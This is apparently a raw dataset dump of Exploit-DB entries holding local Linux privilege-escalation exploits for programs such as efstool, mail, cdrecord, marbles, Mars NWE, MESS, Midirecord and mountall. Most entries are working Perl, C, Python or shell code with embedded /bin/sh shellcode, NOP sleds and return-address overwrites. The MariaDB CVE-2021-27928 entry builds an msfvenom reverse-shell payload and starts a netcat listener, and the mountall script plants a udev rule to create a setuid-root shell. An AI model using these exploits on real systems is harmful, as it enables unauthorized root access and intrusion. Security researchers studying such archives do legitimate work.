deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21584
Description: Mandrake 7/8/9 / RedHat 6.x/7 Bonobo EFSTool - Commandline Argument Buffer Overflow (2)
Type: local
Platform: linux
Date: 2002-06-29
Author: andrea lisci

Exploit:
source: https://www.securityfocus.com/bid/5125/info
 
Bonobo is a set of tools and CORBA interfaces included as part of the Gnome infrastructure. It is designed for use on the Linux and Unix operating systems.
 
A boundry condition error has been discovered in the efstool program. Due to improper bounds checking, it is possible for a user to supply a long commandline argument to the efstool program, which would result in a buffer overflow. This problem could be exploited on the local system to overwrite stack memory, including the return address, and execute attacker supplied code. 

#!/usr/bin/perl
# efstool root exploit
# written by andrea lisci
# perl efstool.pl 3000

$shellcode =
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89".
"\x46\x0c\x89\x76\x08\xb0\x0b\x87\xf3".
"\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29".
"\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff".
"/bin/sh";

$ret = "0xbfffe984";
$offset = $ARGV[0];
$nop = "\x90";


 $buffer="'";
        $len = 2652;
        for ($i = 0; $i < $len; $i++) {
                $buffer .= $nop;
        }
 $buffer .= pack('l', ($ret + $offset));

  for ($i = 0; $i < 10000; $i++) {
                $buffer .= $nop;
         }

        $buffer .= $shellcode;
 $buffer .="'";


exec("efstool $buffer");
Exploit-DB #40
Description: Mandrake Linux 8.2 - '/usr/mail' Local Overflow
Type: local
Platform: linux
Date: 2003-06-10
Author: anonymous

Exploit:
#!/usr/bin/perl
###############################
# Mandrake 8.2 /usr/mail local exploit
#
# Usage:
# perl d86mail.pl [offset]
# Then enter "." (dot) and press 'Enter'
#
# Example:
# [satan@localhost my]$ perl d86mail.pl
# eip: 0xbffffddd
# .[enter]
# Cc: too long to edit
# sh-2.05$
###############################

$shellcode =
   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" .
   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" .
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
$size = 1000;
$size2 = 8204;
$retaddr = 0xbffffddd;
$nop = "\x90";
$offset = 0;
if (@ARGV == 1) {
  $offset = $ARGV[0];
}
for ($i = 0; $i < ($size - length($shellcode) - 4); $i++) {
   $buffer .= $nop;
}
for ($i = 0; $i < ($size2); $i++) {
   $buffer2 .= "A";
}
$buffer .= $shellcode;
print "eip: 0x", sprintf('%lx',($retaddr + $offset)), "\n";
local($ENV{'EVILBUF'}) = $buffer;
$newret = pack('l', ($retaddr + $offset));
$buffer2 .= $newret;
exec("mail -s wow -c $buffer2 root@localhost");

#EOF


# milw0rm.com [2003-06-10]
Exploit-DB #19969
Description: Mandriva Linux Mandrake 7.0 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2000-05-29
Author: noir

Exploit:
// source: https://www.securityfocus.com/bid/1265/info

The linux cdrecorder binary is vulnerable to a locally exploitable buffer overflow attack. When installed in a Mandrake 7.0 linux distribution, it is by default setgid "cdburner" (which is a group, gid: 80, that is created for the application). The overflow condition is the result of no bounds checking on the 'dev=' argument passed to cdburner at execution time. This vulnerability can be exploited to execute arbitrary commands with egid "cdburner". cdburner has been verified (by the writers of the exploit) to be exploitable on an Intel linux system running Mandrake 7.0. Other distributions of linux may be vulnerable to this problem as well. 

/*  /usr/bin/cdrecord exploit by noir 
 *  x86/Linux 
 *  noir@gsu.linux.org.tr | noir@olympos.org
 *  dev= param overflow 
 *  this script will get you gid = 80 group cdwriter  
 *  tested on Mandrake 7.0 (Air) 
 *  greetz: dustdevil, Cronos, moog, still, BlaCK #olympos irc.sourtimes.org 
 *  
 *  
 */

#include <stdio.h>
#include <string.h>

#define NOP             0x90
#define RET     0xbffffe66 //play with argv[1] +10, -10 if default is not ok  
int 
main(int argc, char *argv[])

{
        unsigned char shell[] =
        "\x31\xc0\xb0\x50\x89\xc3\x89\xc1\xb0\x47\xcd\x80"  /*setregid(80, 80) */
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

        char egg[400];
    char buf[80];
        int i, a;
        long ret = RET;

     if(argv[1])
        ret = ret - atoi(argv[1]);               
  
        memset(egg, NOP, 400);
    
        for(i = 0  ; i < 80 ; i+=4)
                *(long *) &buf[i] = ret;
    
        for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
    egg[i] = shell[a];
        
        buf[72] = 0x00;
        egg[399] = 0x00;
        printf("eip: 0x%x\n", ret);

        setenv("EGG", egg, 1);
        execl("/usr/bin/cdrecord", "cdrecord","dev=", buf, "/etc/passwd", 0);

}
Exploit-DB #23189
Description: marbles 1.0.1 - Local Home Environment Variable Buffer Overflow
Type: local
Platform: linux
Date: 2003-09-26
Author: demz

Exploit:
// source: https://www.securityfocus.com/bid/8710/info

A problem in the handling of data in the Home environment variable has been reported in the marbles program. This may make it possible for a local attacker to gain elevated privileges. 

/* c-marbles.c
 *
 * PoC exploit made for advisory based uppon an local stack based overflow.
 * Vulnerable versions, maybe also prior versions:
 *
 * Marbles v1.0.5
 *
 * Tested on:  Redhat 9.0
 *
 * Advisory source: Steve Kemp
 * http://www.debian.org/security/2003/dsa-390
 *
 * ---------------------------------------------
 * coded by: demz (c-code.net) (demz@c-code.net)
 * ---------------------------------------------
 *
 */

#include <stdio.h>
#include <stdlib.h>

char shellcode[]=

        "\x31\xc0"                      // xor          eax, eax
        "\x31\xdb"                      // xor          ebx, ebx
        "\x31\xc9"                      // xor          ecx, ecx
        "\xb0\x46"                      // mov          al, 70
        "\xcd\x80"                      // int          0x80

        "\x31\xc0"                      // xor          eax, eax
        "\x50"                          // push         eax
        "\x68\x6e\x2f\x73\x68"          // push  long   0x68732f6e
        "\x68\x2f\x2f\x62\x69"          // push  long   0x69622f2f
        "\x89\xe3"                      // mov          ebx, esp
        "\x50"                          // push         eax
        "\x53"                          // push         ebx
        "\x89\xe1"                      // mov          ecx, esp
        "\x99"                          // cdq
        "\xb0\x0b"                      // mov          al, 11
        "\xcd\x80"                      // int          0x80

        "\x31\xc0"                      // xor          eax, eax
        "\xb0\x01"                      // mov          al, 1
        "\xcd\x80";                     // int          0x80

int main()
{
        unsigned long ret = 0xbffff70c;

        char buffer[3988];
        int i=0;

        memset(buffer, 0x90, sizeof(buffer));

        for (0; i < strlen(shellcode) - 1;i++)
        buffer[2000 + i] = shellcode[i];

        buffer[3988] = (ret & 0x000000ff);
        buffer[3989] = (ret & 0x0000ff00) >> 8;
        buffer[3990] = (ret & 0x00ff0000) >> 16;
        buffer[3991] = (ret & 0xff000000) >> 24;
        buffer[3992] = 0x0;

        printf("\nMarbles v1.0.5 local exploit\n");
        printf("---------------------------------------- demz @ c-code.net --\n");

        setenv("HOME", buffer, 1);

        execl("/usr/local/bin/marbles", "marbles", NULL);
}
Exploit-DB #49765
Description: MariaDB 10.2 - 'wsrep_provider' OS Command Execution
Type: local
Platform: linux
Date: 2021-04-14
Author: Central InfoSec

Exploit:
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version: MariaDB 10.2 before 10.2.37, 10.3 before 10.3.28, 10.4 before 10.4.18, and 10.5 before 10.5.9; Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928

# Proof of Concept:

# Create the reverse shell payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so

# Start a listener
nc -lvp <port>

# Copy the payload to the target machine (In this example, SCP/SSH is used)
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so

# Execute the payload
mysql -u <user> -p -h <ip> -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'
Exploit-DB #19485
Description: Martin Stover Mars NWE 0.99 - Local Buffer Overflow
Type: local
Platform: linux
Date: 1999-08-31
Author: Przemyslaw Frasunek

Exploit:
// source: https://www.securityfocus.com/bid/617/info


There are several buffer overflows in the setuid root components of the Mars Netware Emulator package. They allow for a local root compromise through the overflowing of buffers without bounds checking. It is to be assumed that all versions prior to and including 0.99 are vulnerable to these attacks. 

// get a suid shell :)

#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>

#define BUFSIZE		254
#define NOP		0x90
#define RET		0xbffff3a0
#define ALIGN		1

int makedir(dir)
char *dir;
{

	if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
		return -1;

	if (chdir(dir))
		return -1;

	return 0;
}
	

int main(void)
{
	int i = 0, noplen = 0;
	char pid[10], buf[BUFSIZE], *ptr = NULL;

	char szelkod[] =

		"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d"
		"\x31\xc9\xb1\x88\x80\x36\x01\x46\xe2\xfa\xea\x19\x2e"
		"\x63\x68\x6f\x2e\x62\x69\x6c\x6e\x65\x01\x35\x36\x34"
		"\x34\x01\x2e\x63\x68\x6f\x2e\x72\x69\x01\x88\xf7\x54"
		"\x88\xe4\x82\xed\x19\x56\x57\x52\xe9\x01\x01\x01\x01"
		"\x5a\x80\xc2\xcf\x11\x01\x01\x8c\xba\x0b\xee\xfe\xfe"
		"\x88\x7c\xf1\x8c\x82\x14\xee\xfe\xfe\x88\x44\xf5\x8c"
		"\x92\x1b\xee\xfe\xfe\x88\x54\xf9\xc6\x44\xfd\x01\x01"
		"\x01\x01\xb9\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88"
		"\xf2\xcc\x81\x8c\x44\xf1\x88\xc0\xb9\x0a\x01\x01\x01"
		"\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x8c\x64\xdd\x5a"
		"\x5f\x5e\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91"
		"\x91\x91\x91\x00";

	sprintf(pid, "%d", getpid());

	if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
	{
		perror("mkdir()");
		return -1;
	}

	if (chdir(pid))
	{
		perror("chdir()");
		return -1;
	}

	ptr = buf;
	noplen = BUFSIZE - strlen(szelkod);

	for (i=0;i<noplen;i++)
		*ptr++ = NOP;

	*ptr += noplen;

	for (i=0;i<strlen(szelkod);i++)
		*ptr++ = szelkod[i];

	*ptr = '\0';

	if(makedir(buf) < 0)
	{
		perror("makedir()");
		return -1;
	}

	bzero(buf, BUFSIZE);
	memset(buf, NOP, 40 + ALIGN);

	if(makedir(buf) < 0)
	{
		perror("makedir()");
		return -1;
	}

	bzero(buf, BUFSIZE);

	for(i=0;i<96;i+=4)
		*(long *)&buf[i] = RET;

	for(i=0;i<2;i++)
	{

		if(makedir(buf) < 0)
		{
			perror("makedir()");
			return -1;
		}
	}

	return 0;
}
Exploit-DB #39673
Description: Mess Emulator 0.154-3.1 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2016-04-07
Author: Juan Sacco

Exploit:
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: Multi Emulator Super System (MESS)
# Version: 0.154-3.1
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
#
# Program description: MESS is an emulator for various consoles and
computing systems, sharing a
# lot of codebase with the MAME project.
# Kali Linux 2.0 package: pool/non-free/m/mame/mess_0.154-3.1_i386.deb
# MD5sum: ae8650a6de842e6792ba83785ac0dbef
# Website: http://mamedev.org/
#
# gdb$ run -gamma $(python -c 'print "\x41"*4080')
# Starting program: /usr/games/mess -gamma $(python -c 'print "\x41"*4080')
# [Thread debugging using libthread_db enabled]
# Using host libthread_db library
"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
#
# Program received signal SIGSEGV, Segmentation fault.
#
#
--------------------------------------------------------------------------[regs]
#
#  EAX: 0x00000000  EBX: 0x72203B22  ECX: 0x00001024  EDX: 0xBFFFE094  o d
I t S z a p c
#  ESI: 0x00001024  EDI: 0xBFFFE095  EBP: 0x00001024  ESP: 0xBFFFD038  EIP:
0x41414141
#  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
#
#
--------------------------------------------------------------------------[code]
#
# => 0x9684539: mov    esi,DWORD PTR [ebx+0x48]
#   0x968453c:  lea    edi,[ebp+esi*1+0x0]
#   0x9684540:  push   edi
#   0x9684541:  push   ebx
#   0x9684542:  call   0x96843b0
#   0x9684547:  add    esp,0x10
#   0x968454a:  test   al,al
#   0x968454c:  je     0x96845ad
#
#
--------------------------------------------------------------------------------
#
# 0x41414141 in ?? ()
#
# gdb$ backtrace
#
# #1  0x41414141 in ?? ()

import os,subprocess

def run():
  try:
    print "# Mess Emulator Buffer Overflow by Juan Sacco"
    print "# This exploit is for educational purposes only"
    # JUNK + SHELLCODE + NOPS + EIP

    junk = "\x41"*4084
    shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*12
    eip = "\xd1\xf3\xff\xbf"
    subprocess.call(["mess",' ', junk + shellcode + nops + eip])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, Mess emulator not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit Mess 0.154-3.1 Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()
Exploit-DB #28288
Description: MidiRecord2 MidiRecord.CC - Local Buffer Overflow
Type: local
Platform: linux
Date: 2006-07-27
Author: Dedi Dwianto

Exploit:
// source: https://www.securityfocus.com/bid/19190/info

Midirecord is prone to a local buffer-overflow vulnerability because it fails to do proper bounds checking on user-supplied data before using it in a finite-sized buffer.

An attacker can exploit this issue to execute arbitrary code in the context of the victim running the affected application. 

Version 2.0 is vulnerable to this issue; other versions may also be affected.

* Successful Exploit in Ubuntu Breezey */
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define BUFSIZE 225
#define ALIGNMENT 1
int main(int argc, char **argv )
{
        char shellcode[]=
                "\x6a\x17\x58\x31\xdb\xcd\x80"
                "\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80";

        if(argc < 2)
                 {
           fprintf(stderr, "Use : %s <path_to_vuln>\n", argv[0]);
             return 0;
             }
        char *env[] = {shellcode, NULL};
        char buf[BUFSIZE];
                int i;
                int *ap = (int *)(buf + ALIGNMENT);
                int ret = 0xbffffffa - strlen(shellcode) - strlen(argv[1]);

                for (i = 0; i < BUFSIZE - 4; i += 4)
                *ap++ = ret;
                execle(argv[1], "/dev/midi1", buf, NULL, env);

}
Exploit-DB #50465
Description: Mini-XML 3.2 - Heap Overflow
Type: local
Platform: linux
Date: 2021-10-29
Author: LIWEI

Exploit:
# Exploit Title: Mini-XML 3.2 - Heap Overflow
# Google Dork: mxml Mini-xml Mini-XML
# Date: 2020.10.19
# Exploit Author: LIWEI
# Vendor Homepage:  https://www.msweet.org/mxml/
# Software Link: https://github.com/michaelrsweet/mxml
# Version: v3.2
# Tested on: ubuntu 18.04.2

# 1.- compile the Mini-XML code to a library use compile line"clang -g -O0 -fno-omit-frame-pointer -gline-tables-only -fsanitize=address -fsanitize-address-use-after-scope -fsanitize=fuzzer-no-link".
# 2.- compile my testcase and link them to a binary use compile line "clang -g -O0 -fno-omit-frame-pointer -gline-tables-only -fsanitize=address -fsanitize-address-use-after-scope -fsanitize=fuzzer". In my testcase, I use the API "mxmlLoadString" to parse a string.
# 3.- run the binary for a short time.crash. because the "mxml_string_getc" didn't versify the  string's length and cause buffer-overflow.
# 4.- Here are the crash backtrace.

=================================================================
==6265==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000000a73 at pc 0x000000558e2d bp 0x7ffe13e2caa0 sp 0x7ffe13e2ca98
READ of size 1 at 0x612000000a73 thread T0
    #0 in mxml_string_getc /opt/mnt/software/mxml32/mxml-file.c:2422:13
    #1 in mxml_load_data /opt/mnt/software/mxml32/mxml-file.c:1558:20
    #2 in mxmlLoadString /opt/mnt/software/mxml32/mxml-file.c:180:11
    #3 in LLVMFuzzerTestOneInput /opt/mnt/software/mxml32/mxml_fuzzer.cpp:12:8
    #4 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/opt/mnt/software/mxml32/a.out+0x42f357)
    #5 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/opt/mnt/software/mxml32/a.out+0x41f7ea)
    #6 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/opt/mnt/software/mxml32/a.out+0x42a7b0)
    #7 in main (/opt/mnt/software/mxml32/a.out+0x41d4b2)
    #8 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
#9 in _start (/opt/mnt/software/mxml32/a.out+0x41d529)


# 6.- Here are my testcase.

#include <string>
#include <vector>
#include <assert.h>
#include "mxml.h"

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
std::string c(reinterpret_cast<const char *>(data), size);
char *ptr;

mxml_node_t *tree;

tree = mxmlLoadString(NULL, c.c_str(), MXML_NO_CALLBACK);

if(tree){

        ptr = mxmlSaveAllocString(tree, MXML_NO_CALLBACK);

        if(!ptr) assert(false);

        mxmlDelete(tree);

}

return 0;

}
Exploit-DB #20160
Description: Minicom 1.82/1.83 - Capture-file Group Ownership
Type: local
Platform: linux
Date: 2000-08-19
Author: Michal Zalewski

Exploit:
source: https://www.securityfocus.com/bid/1599/info

Minicom is a unix terminal program often used for communication between computers with modems. It is often installed setgid uucp, as this access is required for regular users to use certain devices on the system. Through specifying a capture-file on the command line, a file can be created with effective gid uucp and thus owned by gid uucp. Where this is a serious concern is on systems using uucp -- critical files writeable by group uucp can be overwritten by exploiting this vulnerability leading to other problems. 

Note: One of the versions listed as vulnerable (1.83.1) has been reported as not being vulnerable as a FreeBSD port.

> @(#)Minicom V1.83.0 (compiled Mar 7 2000)(c) Miquel van Smoorenburg
> 
> [lcamtuf@nimue lcamtuf]$ minicom -C foo
> minicom: there is no global configuration file /etc/minirc.dfl
> Ask your sysadm to create one (with minicom -s).
> 
> [lcamtuf@nimue lcamtuf]$ ls -l foo
> -rw-rw-r-- 1 lcamtuf uucp 0 Aug 18 12:21 foo
> ^^ ^^^^
> 
> Any file can be created anywhere with uucp privledges - it will follow
> symlinks. Not nice on systems running uucp services.
>
Exploit-DB #15074
Description: mountall 2.15.2 (Ubuntu 10.04/10.10) - Local Privilege Escalation
Type: local
Platform: linux
Date: 2010-09-21
Author: fuzz

Exploit:
# source: https://www.securityfocus.com/bid/43084/info

#!/bin/sh
# by fuzz. For Anux inc. #
# ubuntu 10.04 , 10.10
if [ -z "$1" ]
then
        echo "usage: $0 <UDEV KERNEL EVENT>"
        echo "see here http://www.reactivated.net/writing_udev_rules.html"
        exit
fi
cat > usn985-exploit.sh << EOF
#!/bin/sh
chown root:root $PWD/usn985-sc
chmod +s $PWD/usn985-sc
EOF
cat > usn985-sc.c << EOF
char *s="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
main(){int *r;*((int *)&r+2)=(int)s;}
EOF
gcc usn985-sc.c -o usn985-sc
echo "KERNEL==\"$1\", RUN+=\"$PWD/usn985-exploit.sh\"" >> /dev/.udev/rules.d/root.rules
chmod +x usn985-exploit.sh
echo "All set, now wait for udev to restart (reinstall, udev upgrade, SE, raep, threat.)"
echo "Once the conf is reloaded, just make the udev event happen : usn985-sc file will get suid-root"
Exploit-DB #10396
Description: Mozilla Codesighs - Memory Corruption
Type: local
Platform: linux
Date: 2009-12-12
Author: Jeremy Brown

Exploit:
#!/usr/bin/perl
# thedailyshow.pl
# AKA
# Mozilla Codesighs Memory Corruption PoC
#
# Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 12.12.2009
#
# *********************************************************************************************************
#
# 257	    while(0 == retval && NULL != fgets(lineBuffer, sizeof(lineBuffer), inOptions->mInput))
# (gdb) 
# 259	        trimWhite(lineBuffer);
# (gdb) 
# trimWhite (inString=0xbfffd310 "1\tCODE\t", 'A' <repeats 15 times>, "\t", 'A' <repeats 15 times>, "\t", 'A' <repeats 15 times>, "\t", 'A' <repeats 145 times>...) at codesighs.c:213
# 213	    int len = strlen(inString);
# (gdb) 
# 215	    while(len)
# (gdb) 
# 217	        len--;
# (gdb) 
# 219	        if(isspace(*(inString + len)))
# (gdb) 
# 221	            *(inString + len) = '\0';
# (gdb) 
# 215	    while(len)
# (gdb) 
# 217	        len--;
# (gdb) 
# 219	        if(isspace(*(inString + len)))
# (gdb) 
# 228	}
# (gdb) 
# codesighs (inOptions=0xbffff350) at codesighs.c:261
# 261	        scanRes = sscanf(lineBuffer,
# (gdb) i r
# eax            0x0	0
# ecx            0xb7fe468c	[PII_REDACTED]
# edx            0x82	130
# ebx            0x9d8ff4	10326004
# esp            0xbfffd040	0xbfffd040
# ebp            0xbffff328	0xbffff328
# esi            0x0	0
# edi            0x0	0
# eip            0x8048945	0x8048945 <codesighs+142>
# eflags         0x246	[ PF ZF IF ]
# cs             0x73	115
# ss             0x7b	123
# ds             0x7b	123
# es             0x7b	123
# fs             0x0	0
# gs             0x33	51
# (gdb) s
# 270	        if(6 == scanRes)
# (gdb) i r
# eax            0x6	6
# ecx            0x[PII_REDACTED]545
# edx            0x0	0
# ebx            0x9d8ff4	10326004
# esp            0xbfffd040	0xbfffd040
# ebp            0xbffff328	0xbffff328
# esi            0x0	0
# edi            0x0	0
# eip            0x804899d	0x804899d <codesighs+230>
# eflags         0x282	[ SF IF ]
# cs             0x73	115
# ss             0x7b	123
# ds             0x7b	123
# es             0x7b	123
# fs             0x0	0
# gs             0x33	51
# (gdb)
#
# http://jbrownsec.blogspot.com/2009/12/mozilla-code-sighs.html
#
# "Can't read my, can't read my, no she can't read my poker face"
#
# *********************************************************************************************************
# thedailyshow.pl

$filename = $ARGV[0];

if(!defined($filename))
{

     print "Usage: $0 <filename>\n";
     exit;

}

$payload = "1\tCODE\t" . "A" x 15 . "\t" . "A" x 15 . "\t" . "A" x 15 . "\t" . "A" x 260 . "\t";

     open(FILE, ">", $filename) or die("\nError: Can't write to $filename");
     print FILE $payload;
     close(FILE);

     print "Wrote payload to \"$filename\"\n";
     exit;
Exploit-DB #22189
Description: MTink 0.9.x - Printer Status Monitor Environment Variable Buffer Overflow
Type: local
Platform: linux
Date: 2003-01-21
Author: Karol Wiesek

Exploit:
source: https://www.securityfocus.com/bid/6656/info

mtink is prone to a locally exploitable buffer overflow condition. This is due to insufficient bounds checking of the HOME environment variable.

mtink is reportedly installed setgid 'sys' on Mandrake Linux, so it is possible that this issue may be exploited to execute arbitrary code with elevated privileges. Other distributions may also be affected if mtink is installed or runs with elevated privileges.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21001.tar.gz